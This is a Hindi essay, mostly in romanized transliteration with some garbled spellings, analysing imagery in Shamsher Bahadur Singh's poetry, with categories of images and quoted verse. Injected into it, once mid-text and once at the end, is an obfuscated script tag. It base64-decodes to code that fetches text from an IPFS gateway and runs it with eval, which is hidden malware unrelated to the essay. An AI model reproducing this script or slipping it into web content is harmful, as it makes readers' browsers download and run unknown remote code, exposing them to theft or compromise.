शमशेर बहादुर सिंह की काव्य भाषा में बिम्ब विधान

svantryottar hindi kavita mean jaise vishay badale, vastu badali aur kavi ki jivan-drishti badali vaise hi shilp ke kshetr mean roop-vidhan ke naye ayam bhi vikasit hue. kavita ki samiksha ke manadandoan mean ek baragi yugantar aya aur naye dhang par kavita ki imarat kh di ki gee. kavi ki anubhootiyaan naye aprastutoan aur pratikoan ko khojate-khojate bimb ke naye dharataloan ko udh‌ghatit karane mean samarth huee. kavita ki jivantata mean pranashakti ke roop mean bimb ne apana sthan aur mahatv paya.
          pratik aur aprastut to prarambh se hi kavita ki samiksha ke pratimanoan ke roop mean svikrit the, ab bimb bhi kavita ke moolyaankan ki kasauti ke roop mean svikara jane laga. yoan to bimboan ke nirman aur chayan ki prakriya sanskrit sahity mean hi prachalit thi, kintu tatkalin kaviyoan aur samikshakoan ne, balki azadi se pahale tak hindi ke samikshakoan ne bhi bimb ko kavy ka pranatatv nahian mana tha. azadi ke bad kee naye sandarbh, kee naye shailpik pratiman samane aye. isaka karan pashchaty sahity ka prabhav to tha hi, videshoan mean chal raha bimbavadi andolan bhi tha. chhayavadiyoan ne bhi apratyakshatah shilp ke aang ke roop mean ‘chitratv’ ko svikar kar liya tha. sumitranandan pant ne jab kavy-bhasha ke vivechan ke dauran chitrabhasha ke prayog ki bat kahi thi to prakaranatar se bimb ko hi kavy-shilp ke aang aur alochana ke pratiman ke roop mean svikar kiya tha. achary shukl bhi bimb ko svikriti de chuke the. unhoanne ‘chintamani’ ke ek nibandh mean likha tha, “kavy ka kam hai kalpana mean bimb ya moortabhavana upasthit karana” : spasht shabdoan mean kavy kalpana-chitr nahian hai, varanh anubhootiyoan ka moortikaran hai.
bimb kavy-bhasha ki tisari aankh hai, jo matr gochar hi nahian, kisi agochar tatchetasa smarati noonamabodhapoorv (kalidas-pahale se jo avabodhan ho usaki smriti)-roop se, ek or karayitri aur doosari or bhavayitri bhasha ke lie upalabdh karati hai.
bimb shabd ka arth chhaya, pratichchhaya, anukriti ya shabdoan ke dvara bhavaankan hai. bimb aangreji ke imej shabd ka hindi roopantar hai. si0di0 levis ke anusar-

“The poetic image is more or less a sensuous picture in words, to some degree metaphorical, with an undernote and some human emotion, in its context but also charged with releasing into the reader a special poetic emotion or passion.”

arthath kavyatmak bimb ek sanvedanatmak chitr hai jo ek sima tak alankrit-roopatamak bhavatmak aur avegatmak hota hai. livis ne bimb ko bhavagarbhit chitr hi mana hai.

d aau. nagendr ke anusar, “bimb kisi amoort vichar athava bhavana ki punarnirmiti.
ezara paund ke anusar, “bimb vah hai jo kisi bauddhik tatha bhavatmak sanshlesh ko samay ke kisi ek bindu par sanbhav karata hai.”
          hindi ki nayi kavita-dhara ke kavi pashchim ke kavy aur kavyandolanoan se parichit the. ‘tar saptak’ mean prabhakar machave ne apani kavita ko ‘impreshanist’ athava bimbavadi ghoshit kiya. phir bhi tisari saptak ke kavi kedaranath sianh se pahale bimb-vidhan ko kisi ne apane vaktavy mean pramukhata nahian di thi. kedaranath sianh ne ghoshit kiya ki “kavita mean maian sabase adhik dhyan deta hooan bimb-vidhan par.”
          ek adhunik kavi ki shreshthata ki pariksha ki kasauti jahaan ajney ‘shabdoan ka avishkar’ ko manate haian, vahian kedaranath sianh ‘bimboan ki avishkriti’ ko. apani pustak ‘adhunik hindi mean bimb vidhan ka vikas’ mean unhoanne bimb ke pratiman par chhayavad se lekar prayogavad tak ke sahity ki pariksha ki hai. shamasher ki kritiyoan mean bimb adhik sajiv aur aindriy haian. unake samakalin rachanakar bachchan, ajney, aanchal, dinakar, narendr sharma ki kritiyaan apani bimbatmak gunatmakata ke karan hi moolyavan haian. shamasher ke kavy mean bimb adhik sanshlisht aur gaharaee lie hue hai. bhale hi usaka kshetr simit ho kintu is bat se katee iankar nahian kiya ja sakata ki ve anubhooti aur vichar se sanbaddh hone ke karan apana auchity lie hue haian.
          shamasher ke bimb rang-dhvani-gandhapoorn haian. unake kavy mean nari ki maansalata aur prakriti ki sundarata ke sath kahian-kahian unake bimb yatharthaparak svachchhand drishti ke soochak haian. shamasher ki kavita mean laukik bimboan ke sath-sath alaukik se bimboan ki srishti bhi huee hai. shamasher ke kavy mean vastu ya prakritik upadanoan ka moortakaran-manavikaran hua hai, jo ek prakar ki bimbatmakata hi hai. shamasher kavita mean jahaan kalpana hai, vahaan bimb adhik prabhavashali haian. “kalpana vah shakti hai jo sarvapratham kavi ka varny-vishay ya vastu se sidha sakshatkar karati hai.”
          shamasher ki kavy-bhasha pradhanatah bimbatmak hai. satarkata ke karan ve bimboan ka chayan b di kushalatapoorvak kar sakate haian. unaki kuchh kavitaean aur kuchh aur kavitaean kritiyoan ke alava ‘kal tumase ho d hai meri’, ‘bat bolegi’ mean bhashik sanvedana ke sath bimboan-pratikoan ka kaushal bahut prabhavashali hai. is vaishishty ke bavajood apani banavat mean shamasher ki kavita bimboan-pratikoan, roopakoan-upamanoan ke sookshm sanvedan aur chintan-manan ki gaharaee mean doob kar bakhoobi samajhi ja sakati hai. unaki kavyatmak sanvedana aur rachanatmak chetana jin varny-vishayoan ko chhooti hai ve bimb banate haian. unake bimb-vidhan ko agraankit kotiyoan mean rakh sakate haian:-

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

1. prakriti-bimb
2. gandh bimb
3. asvady bimb
4. nad bimb
5. drishy bimb
6. sparsh bimb
7. ady bimb
8. smriti bimb
9. bhav bimb
10. aprastut bimb

prakriti bimb

shamasher ki kavita mean prayah prakriti bimboan ke sath any chhote-chhote bimboan ka sundar samanvay hua hai. unake bimb jan-jivan ke sadharan vyapar ko bhi kahian asadharan arthavatt pradan karate haian. unake prakriti bimboan mean sanshlisht romani bimboan ki mohakata evan marmikata hai. ye ya aise bimb kahian-kahian kalpanajanit hokar bhi aantatah yatharth se roobaroo karate haian, kahian yatharthaparak hokar bhi kalpana se lagate haian. unamean saghanata sanshlishtata hai-ve vaijnanik aur adhunik jivan se sambaddh haian. ‘ek nila dariya baras raha’, ‘saranath ki ek sham’, ‘sagar tat saundary’, ‘ek pili sham’, ‘oosha’, ‘poornima ka chaand’, sham hone ko huee, ‘subah ratri’, gili mulayam latean’, ‘basant aya’ adi kavitaean aisi haian. ‘ek nila aina bethos’, ‘sooryast’ aur ‘sagar tat’ kavita panktiyoan mean prakriti bimboan ka b da udatt chitran hai-

(i) ek nila aina
               bethos si yah chaandani
      aur andar chal raha hooan maian
               usi ke mahatal ke maun mean.
maun mean itihas ka kan kiran jivit, ek, bas.

“shamasher ke prakriti chitran mean atiyatharthavadi jhalak bar-bar milati hai. prakriti jitani unase bahar hai, utani hi bhitar hai. yah chitran yatharth hai to doosara atiyatharth. kavita mean varnan ki parampara aur anubhav ka unmesh donoan ghulate-milate haian, par shamasher ke yahaan mahatv doosare ka hai. shayad yahi karan hai ki prakriti chitran mean unaka lagav jitana jal tha ki akash se hai utana mitti se nahian.”7

(ii) pi gaya hooan drishy varsha kaah
           harsh badal ka
           hriday mean bhar kar hua hooan. hava sa halka.
           dhun rahi thian sar
           vyarth vyakul matt laharean

shamasher mean virat prakriti atmiy kaise ho uthati hai, isaka achchha sakshy un ki prasiddh kavita ‘sagar tat’ prastut karati hai. jal, parvat aur varsha ka vyapak sandarbh lekar kavi ne unase ek ghareloo bimb ki rachana ki hai. prem ki manobhooti par inaki aantarprakriya kalpana ko haule se sakriy karati hai-

(iii) chaandani mean dhul gaye haian
               bahut se tare bahut kuchh
               dhul gaya hooan maian. bahut kuchh ab.
               chal raha hai jo. shant sa iangit sa
                n jane kidhar.........

(iv) vyom mean phaile hue meharab ke vistar
       stoop au, minar nabh ko thamane ke lie
       uthate hue.
       vikatatam the ati vikatatam
       vigat ke sopan parvat shrriang

(v)
panktiyoan mean tootati-girati
chaandani mean lautati laharean
bijaliyoan-si kaudhati laharean
machhaliyoan-si bichhal p dati t dapati laharean
bar-bar

gandh bimb

ghran-vishayi bimb gangh-vishayak aprastutoan ke madhyam se ghran-vishay anubhooti ko udbaddh karate haian aur usake samagr prabhav ko sanvedana ke adhar par moortimatta pradan karate haian. drishy ko pranavatta dene mean gandh yojana sahayak siddh hoti hai.

(i) dhuaan. dhuaan. sulag raha
(ii) jal raha. dhuaan dhuaan
gavaliyar ke majoor ka hriday
(iii) sulagata hua pahara
ya phanoos?
(iv) sine mean soorakh haddi ka.
aankhoan mean ghas-kaee ki nami.
(v) thi mahak. sharab ki

asvady bimb

“drishy ko svad ke star par anubhav karana tatha karana kalpana vyapar ka sabase kathin kary hai.”8 shamasher ke kavy mean svad sanvedana ki kalatmak abhivyakti huee hai ise ‘rasayanik’ bimb bhi kahate haian. svad-sanvedana ke anek chitr unaki kavita mean milate haian-

(i)
halki mithi cha sa din
mithi chuski si batean
mulayam bahoan ka apanav.
shamasher ki kavita padhakar ‘ab yah ham par hai, ki ham apane samane aur charoan or ki is anant aur apar lila ko kitana apane andar ghula sakate haian.’ ‘doob’ kavita ki ye panktiyaan jaise shamasher ki apani kavita ka hi roop prastut karati haian. shamasher ki samoochi kavy-prakriti unake varny, bimb aur lay mean abhed hai. sahity-samiksha mean yah bar-bar kahi jati hai ki kavi ki koee pankti uddhrit karake anivaryatah yah nahian kaha ja sakata ki yah us rachanakar ki sanvedana ka pratinidhitv karati hai.
(ii) akhir kyoan muskurate haian sharabi adhar?
(iii)namak jaise maile sangamaramar ka badal
(iv) abhav ke vyangy se.
joote chabata hua-sa mano
(v) diloan mean jaise mithi phaansean

roop bimb

kavi apane bhavatirek se prerit horak kavy ka srijan karata hai. kavy ki saphalata yahi hai ki vah varny-vishay sambandhi bimboan ko padhate hi aankhoan ke samane chitr se ghoomane lagate haian. romantik kavitaoan mean roop-bimb ki pradhanata hoti hai.

(i)
nil jal mean ya kisi ki
gaur jhilamil deh
jaise hil rahi ho.
oosha ke jal mean jhalakata ujjval pratibimb jaise rashi-rashi saundary ko anant nil gaharaiyoan mean parivyapt kar raha ho, oosha ki sundarata jadoo ya rahasy ki tarah phail gee ho. visheshata yah hai ki jadoo yahaan koee atiprakrit tatv nahian hai, vah poore taur par prakriti se upajata hai.
(ii) badaloan ki indradhanushi hansiyaan?
(iii)
kala kala
aankh ka til hai
jot ka dvar!
(iv) apani ajib-si khanak aur chamak lie
gori gulabi dhoop

sthir bimb

kavy mean sthir bimb vastu ke akar, roop v rang ko prastut kar pathak ki rag chetana ko udh‌buddh kar, usake man ko vastu ki kalpana ke lie prerit karata hai. pathak ke aankhoan ke samane vastu roopayit hoti hai. sthir bimb mean vastu, vatavaran, akriti aur apani rang rekhaoan ke sath pathak ke samane moort roop mean prastut hoti hai. sthir bimboan ke srijan ke lie kavi sanjna pad, visheshan, aprastut yojana, visheshan, viparyay adi vibhinn prakar ke upakaranoan ki sahayata leta hai-

(i) o shakti ke sadhak arth ke sadhak
too dharati ko donoan or se thame hue
(ii) ravi! kamal ke nal par baitha hua mano
ek e di par tikae maun
(iii) hilate-chamakate bahut hare chhote-b de pe d
mere charoan or kh de.
(iv) jo ki siku da hua baitha tha, vo patthar
(v) ek dhuandhali badal-rekha par tika hua
(vi) dopahar bad ki dhoop-chhaanh mean kh di
iantajar ki thele ga diyaan

sparsh bimb

sparsh bimb ka adhar karuna-janit vatsalata hai jisase prabhavotpadakata badh jati hai. sparsh bimb ke antargat manahsthitiyoan, sharirik sambandhoan, kriya-vyaparoan, sharirasth chetana, sanrachan, ya antahvritti maansal abhivyakti huee hai. isalie ise aangik athava jaivik bimb bhi kahate haian. ye bimb matri-vatsaly ke parichayak haian.

(i) jahaan, usane apana sar rakha tha
tumhare vaksh par
vah sthan bahut hi mukaddas hai.
(ii) gili mulayam latean, akash
saanvalapan rat ka gahara salona
stanoan ke bimbit ubhar lie
(iii) ek nila aeena
bethos si yah chaandani
(iv) khasar-khasar ek chikanahat
hava mean makkhan-sa gholati hai.

drishy bimb

shamasher ki rachanaoan mean drishy bimboan ki pradhanata hai. shamasher ki kavita mean dipti rang-bodhak bimb bhi drishy bimboan ke antargat svikar kie jaeange. prakriti chitroan mean manavikaran ki pravritti drishy bimboan ko vishvasaniyata pradan karati hai. inamean hava, saanjh, chaand, tare, parvat, nadi, ghas, dhoop adi ke chitr akelepan ko vyakt karate haian. shamasher kavita mean kee drishy- bimb sthir chitroan ki drishti se mahatvapoorn haian to kee drishy bimb manahsthitiyoan ke dyotak haian. drishy ya chakshuk bimb ke pariprekshy mean shamasher-kavita mean dipti bimb bhi sugrahy haian-

(i)
dhoop kothari ke aine mean kh di
hans rahi hai!
rang-yojana ke prayog mean kavi ne visheshakar lal, nila, pila, hara adi rangoan ka upayog kiya hai.
(ii)
nil abha vishv ki
ho rahi hai pratipal tamas.
vigat sandhya ki
rah gee hai ek khidaki khuliah
jhaankata hai vigat kisaka bhav.
badaloan ke ghane nile kesh
chapalatam abhooshanoan se bhare
laharate haian vayu sang sab or.
(iii) dhoop mean lipata hua hai asaman
(iv)
garib ke hriday
tange hue
ki rotiyaan lie nishan
(v)
maili, hath ki dhuli khadi
sa hai
asaman.

shamasher-kavita mean manovaijnanik bimboan ki srishti subodh sugrahy hai. kavi man mean samany manushy ki tarah bhav-vichar, dharanaean aur ghatanaoan ke bimb-pratibimb banate rahate haian. magar jab vah apani srijanatmak kshamata se use shabdayit karata hai to bimboan ki rachana hoti hai. manovaijnanik bimb vahy vastu, akar, roop ka pratibimb hote haian. ise manas bimb bhi kahate haian.

nad bimb

nad bimb ki drishti se prakritik dhvaniyoan, vastu-dhvaniyoan, sangit dhvaniyoan ko shamil kar sakate haian. shamasher-kavita mean nad bimboan ka prayog prabhavashali hai.

(i)
megh garaje,
aur mor door kee dishaoan se
bolane lage-piyooa! piyooa!
(ii)
harahara kar uth raha hai
nav
janamahasagar!
(iii)
hava mean sanh sanh
jyoti ke jo hare tikhe ban
chal rahe haian.
(iv)
pahali-pahali
gutarag gutarag

gati bimb

shamasher ko gatishil bimboan ke chitran mean abhootapoorv hastalaghav prapt hai. inake madhyam se unhoanne bahirjagat ki gati ke sandarbh mean antarik jagat ki us gatvarata ko prastut karane ka prayas kiya hai, jisaki or isake poorv bahut kam rachanakaroan ki drishti gee thi. kahian to gati-agati ke bich ek nishchit bindu par sare kary-vyapar ko kendrit karake unhoanne adbhut chamatkar ka srijan kiya hai. oosha aur sandhya sanbandhi bimboan ke chitran mean hamane is par vichar kiya hai. shamasher gati ko pragati ke sath jo date haian-

(i) sip-si rangin laharoan ke hriday mean dol
(ii) anavarath bah rahi hai.
(iii) tairati ati bahar
(iv)
surkh phool os mean
chupachap
ludhakate chale jate
(v) vah sagar
sattha jo, utha, aur aur aur
(vi) joki siku da hua baitha tha vo patthar
sajag-sa hokar sarakane laga ap se ap
(7) yah rat phisalan se bhari huee hai.

smriti bimb

manav svabhavataya atit premi hota hai. vah atit ki smritiyoan ko mahatvapoorn sthan deta hai. “atit kalpana ka lok hai, ek prakar ka svapn lok haiah isamean to sandeh nahian.......smritiy aau. hamean keval sukhapoovarn dinoan ki jhaankiyaan nahian samajh p datian. ve hamean lin karati haian, hamara marm sparsh karati haian.”

 
(i)
kahian door par se
smritiyaan
bahut-si
ikattha ho rahi haian.
(ii)
yah asaman
choom raha hai meri chaukhat
maian chaand aur sooraj ko nikal
alamari mean rakhe hue elabam se
(iii)
aj kahaan ve git jo kal the
galiyoan-galiyoan mean gae ge

kriya bimb

(i)
ek adami do paha doan ko kuhaniyoan se thelata
poorab se pashchim ko ek kadam se napata
badh raha hai.
(ii)
chumban ki mithi puchakariyaan
khil rahi kaliyoan ko phooloan ko hansa rahi

ady bimb

shamasher ke kavy bimboan ki vyanjana vishisht hai. unhoanne manas bimboan ke sath bhavamay vaicharik aur romani vividhavarniy bimboan ki umda abhivyakti ki hai. inake atirikt unake kavy mean prachin purakathaoan (purakhyanoan) se sanbandhit bimb bhi prastut hue haian. “ady bimb samoohik achetan ki srishti hote haian... inaki prakalpana yug ne ki hai. ye adi anubhootiyoan ke sanskar roop mean aj bhi manav jati ke achetan man mean vidyaman haian, aur anek prakar se apani abhihyakti karate haian.”10 ady-mith ki srishti ki drishti se unake kavy mean soory, chaand, dhoop, machhali, saanp, shiv adi ke bimb ae haian. ady bimb kavita ko kalajayi banane mean sahayak hote haian. use vishisht arth-saundary sauanpate haian. shamasher ki ‘vam vam vam disha’ kavita isaka shreshth udaharan hai.

(i)
ek rrituoan mean vihansate soory
kal mean (tam ghor)-
(ii)
kya shivalok ke bich koee
vibhajak divar
kh di ki ja sakati hai
sivay sachchaee ki ujjvalata ke
(iii) varuna ke kinare ek chakrastoop hai
shayad vahian vishv ka kendr hai
(iv)
ik maun kamal khilata hai
aur nayi lahariyoan mean lagatar
hansata hai.
(v)
bijaliyoan-si kauandali laharean
machhaliyoan-si bichhal p dati t dapati laharean
bar-bar

alankrit bimb

alankrit bimb kalpanaprasoot hote haian aur kavy mean kalatmak saundary ki srishti karate haian. “alankrit bimboan ka ekamatr adhar kalatmak saundayai hota hai kisi chamatkarapoorn athava dooranvayi kalpana dvara is shreni ke bimboan ki srishti hoti hai.” darasal, alankrit bimb varny vastu-prasang-drishyaansh ko alankaroan ke dvara pratyaksh karate haian. shamasher ki kavita mean bhautik-prakritik donoan tarah ke drishyoan-bimboan ki abhivyakti huee hai, jinase manasik vinod ya ras ka anubhav hota hai. alankrit bimboan mean aprastut kavi-kathy ko arthavan banate haian. isamean anubhootiyoan aur arthoan ka bhav sookshm star par pratishthit hota hai. yadi kisi kathy-anubhav ka samany varnan kiya jae to vah pathak ko vishesh prabhavit nahian kar sakata aur n hi usamean adhik sampreshaniyata hoti hai. kavy mean alankar vidhan ki vishishtata pratipadit ki gee hai. shamasher ki kavita mean aprastut vidhan ki bhoomika mahatvapoorn hai. unaki kavitaoan ki agraankit panktiyoan mean viparyay ka upayog kitana sundar hua hai. “kavita mean bimb bhinn-bhinn konoan par rakhe ge darpan jaise hote haian. jyoan-jyoan kavita ka vishay vikasit hokar age badhata hai, vah apane vividh roopoan mean in darpanoan mean pratichchhayit hota hai. ye darpan jadoo ke darpan haian, ve keval vishay-vastu ko hi nahian pratichchhayit karate haian, ve ise nam aur roop bhi pradan karate haian.”

(i)
soory meri putaliyoan mean snan karata
kesh van mean jhil milakar doob jata
svapn-sa nistej gatachetan kumar
(ii)
ek nila dariya baras raha hai
aur bahut chau di havaean
makanat hai maidan
kis kadar oob d-khab d
magar
ek dariya
aur havaean
mere sine mean gooanj rahi haian.
(iii)
badaloan ke ghane nile kesh
chapalatam abhooshanoan se bhare
laharate haian vayu sang sab or.
allamat yadi maian sanskrit mean
sandhya kar li to too
mujhe dojakh mean dalega?
(iv)
eeshvar agar maianne arabi mean
prarthana ki too mujhase
naraj ho jaega.

aprastut ko prastut karane ke lie kavi tulana, sadrishy, samy, viparyay, sannidhy, aveg sankarshan tatha ekaroopata ke sanyog ka samanyatah upayog karata hai. chhayavadottar kaviyoan mean girija kumar mathur, ajney, dharmavir bharati, muktibodh, aanchal, sarveshvar, shrikaant varma, rajakamal chaudhari, dhoomil adi ki kavitaoan mean isaka prayah prayog hua hai. shamasher ke kavy mean aprastut kahian-kahian akaramoolak roop mean bhi prastut hua hai-

(v)
shila ka khoon piti thi
vah j d, joki patthar thi svayan.
sidhiyaan thian badaloan ki jhoolati
tahaniyoan-si,
aur vah pakka chabootara, dhal mean chikanaah
sutal tha, atma ke kalpataru ka?
jis prakar unhoanne ‘pakka chabootara’ ko uparokt kavita mean akar pradan kiya hai usi prakar ‘siang aur nakhoon’ kavita mean alankarik bimboan ko yooan roopayit kiya hai-
(iv)
siang aur nakhoon
lohe ke bakhtar kandhoan par.
sine mean soorakh haddi ka.
aankhoan mean ghas-kaee ki nami.
ek murda hath
paanv par tika
ulti kalam thame.
tin tasaloan mean kamar ka ghav s d chuka hai.
j doan ka bhi k da jal
ho chuka patthar.

akaramoolak aprastut vidhan ki b di prabhavi prastuti nagarjun, naresh mehata, kumarendr parasanath sianh, jivan prakash joshi, jagoo di, ramesh gau d ki kavitaoan mean huee hai. in kaviyoan ne naye pan ki talash mean parampara ki jivantata ko bimbayit kiya hai. unaki kavita mean jan-jivan samajadharmi vividhavarniy roop-rang ke bimb pratik haian jo unhean samakalin samavayask kaviyoan se alag karate haian. shamasher ne aprastut vidhan ke antargat upamamoolak bimboan- chaandani, sipi, moti, shankh, oanth, narangi, adhar, kuhara, dhoop, chhaanv, adi ke prayog se tajagi paida karane ka sarthak prayas kiya hai-

kusumoan se charanoan ka loch lie
thirak rahi haian
bhini bhini sugandhiyaan

isi prakar-

aur dariya rag banate haian.-kamal
phanoos-ratean motiyoan ki dal-. dil mean
sa diyoan ke se namoone chaman mean u date chhabile, vahaan
gunagunata bhi sajila jism vah-
jagata bhi. maun sota bhi, n jane
ek duniya ki. ummid-sa. kis tarah!

ukt bimboan ke atirikt shamasher ke kavy mean aprasrit aur udatt bimboan ka vidhan bhi hai. aprasrit bimb ukt sabhi bimboan se alag pratit hota hai. isamean shabd-vistar ya shabd-bahuly nahian hota. kul milakar, shamasher ke kavy ka uttarardh bimb-bahul hai. ye kavi ki anubhooti ko gaharaee aur ooanchaee pradan karate haian. unake kavy mean jahaan ek or vastuparak yatharth bimb hai vahian doosari or romani yani svachchhand bimboan ki prakalpana bhi ki ja sakati hai. unaki vita mean prakriti ke upadanoan aur anubhootiyoan ka b da anootha talamel hai. kahian-kahian sahachary-samanvay bhi vyakt hua hai. kalpana-shakti ka saushthav dekhate hi banata hai. kalagat upalabdhi ke arth mean shamasher ki kavita apana vishisht mooly rakhati hai. is drishti se unake kavy mean vahy uddipan (shabd-sparsh-ras aur gandh bimboan) ke nirman ki prakriya b di sookshm hai. yooan mool anubhooti ki atitata ka jnan unake bimboan mean hota hai.

bimboan ka astitv manasik arth mean vishesh hota hai. yadi bimb svatantr roop se kavy mean ate haian, to ve utane prabhavi nahian hote jitane hone chahie isalie inaki rachana mean sarjak ke vigat anubhavoan ka adhik yogadan rahata hai.

shamasher ke kavy mean bimb usaki rachana tantr ke sampann aur bhasha ko samriddh karate haian. unake bimb jivant haian. unamean basipan nahian hai, tajagi hai. in bimboan mean unaka saundary bodh nihit hai. jahaan bimbatmakata nahian hai, vahaan gadyatmakata si a gayi hai. shamasher ke bimb-vidhan ki visheshata hai ki unaki kavitaoan mean varny-vishay aur bimb anayas ek doosare par aropit haian. kah sakate haian ki poorvavarti rachanaoan ki apeksha uttaravarti rachanaoan mean (vayaviyat ke bavajood) nirmit bimb lokonmukhata lie haian. bhasha ki sarthak shakti-sahayog pakar ve paryapt prabhavashali aur akarshak ban ge haian. unake bimboan-pratikoan mean vividhata, arthagarbhita aur prayogadharmita hai jo unhean chhayavadottar vishisht rachanakaroan mean ek nayi pahachan deti hai.

manav sansadhan vikas mantri shri arjun sianh ke shabdoan mean, “shamasher bahadur sianh adhunik bharatiy kavita ke nirmataoan mean se ek the, unhoanne poori ardhashati hindi sahity ki shrivriddhi mean samarpit ki. ve apani prayogadharmita, vishisht bimb vidhan aur gahan manaviyata ke lie smaran kie jaeange.”

tika tippani aur sandarbh

maury, d aau. manavi (kushavaha). shamasher bahadur sianh ki kavy bhasha mean bimb vidhan (hindi) sahityakunj. abhigaman tithi: 30 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>